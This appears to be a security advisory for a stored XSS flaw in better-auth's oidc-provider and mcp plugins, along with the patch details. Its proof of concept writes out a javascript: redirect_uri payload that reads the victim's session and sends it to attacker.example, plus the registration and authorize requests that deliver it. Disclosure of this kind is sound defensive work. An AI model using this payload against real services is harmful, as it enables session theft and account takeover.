better-auth Stored XSS via javascript: redirect_uri in oidc-provider and mcp Plugins
The better-auth oidc-provider and mcp plugins accept any string as an OAuth redirect URI, letting an attacker store a javascript: URL that executes in the authorization server's origin when a victim a
The problem
The `oidc-provider` and `mcp` plugins in `better-auth` typed `redirect_uris` as `z.array(z.string())` with no scheme validation. A `POST /oauth2/register` call could store any URI, including `javascript:` payloads, in the database.
When the victim later visits the attacker's authorize URL and clicks Approve, the consent handler calls `new URL(value.redirectURI)` and returns the result as `redirectURI` in a JSON response. A consent page that assigns this value to `window.location.href` executes attacker JavaScript inside the authorization-server origin.
This is a stored DOM XSS that enables full account takeover via session-scoped API calls.
Proof of concept
A working proof-of-concept for this issue in better-auth, with the exact payload below.
# Step 1: Register a malicious OAuth client (authenticated user, or unauthenticated if allowDynamicClientRegistration: true)
POST /api/auth/oauth2/register
Content-Type: application/json
{
"client_name": "Legit App",
"redirect_uris": ["javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//"]
}
# Step 2: Send victim to the authorize URL with the returned client_id and that redirect_uri
GET /api/auth/oauth2/authorize
?client_id=<registered_client_id>
&redirect_uri=javascript:fetch('/api/auth/get-session').then(r=>r.json()).then(d=>fetch('https://attacker.example/x?c='+btoa(JSON.stringify(d))))//
&response_type=code
&scope=openid
# Step 3: Victim approves consent. The server returns:
# { "redirectURI": "javascript:fetch('/api/auth/get-session')...//" }
# Consent page assigns res.data.redirectURI to window.location.href -> XSS fires.The root cause is missing scheme validation at the OAuth dynamic client registration endpoint (CWE-79 / CWE-601). The `redirect_uri` was stored verbatim and then passed through `new URL()` at consent time, which preserves the `javascript:` scheme intact. The trailing `//` in the payload comments out the authorization code that `searchParams.set` appends, preventing a parse error that would otherwise break execution.
The patch (commit `be32012`, PR #9838) introduced `SafeUrlSchema` and `isSafeUrlScheme` in `@better-auth/core`. Both `oidc-provider` and `mcp` now run every `redirect_uri` through that validator at registration time and reject `javascript:`, `data:`, and `vbscript:` schemes before persistence.
A follow-up hardening (commit `13abc79`, PR #9845) replaced `URL.canParse` with a `try/catch` fallback and also rejects URIs containing a fragment, per RFC 6749 §3.1.2.
The fix
Upgrade to `better-auth@1.6.13` (stable) or `1.7.0-beta.4` (pre-release). Both releases add `SafeUrlSchema` scheme validation to `oidc-provider` and `mcp` at registration time.
If you cannot upgrade immediately, add a client-side scheme check before any navigation: parse the returned URI and only navigate when `new URL(redirectURI).protocol` is `http:` or `https:`. Alternatively, migrate to `@better-auth/oauth-provider`, which already enforced this validation prior to this advisory.
Reported by hillalee.
Related research
- high · 7.7CVE-2026-53514CVE-2026-53514: better-auth Organization Invitation Takeover via Unverified Email Pre-Registration
- high · 8.3CVE-2026-53516CVE-2026-53516: better-auth OAuth Auto-Link Account Takeover via Unverified Email
- highCVE-2026-49864CVE-2026-49864: wetty DOM XSS via File-Download Filename
- high · 8.1CVE-2026-53517CVE-2026-53517: @better-auth/oauth-provider Refresh Token Family Fork via Race Condition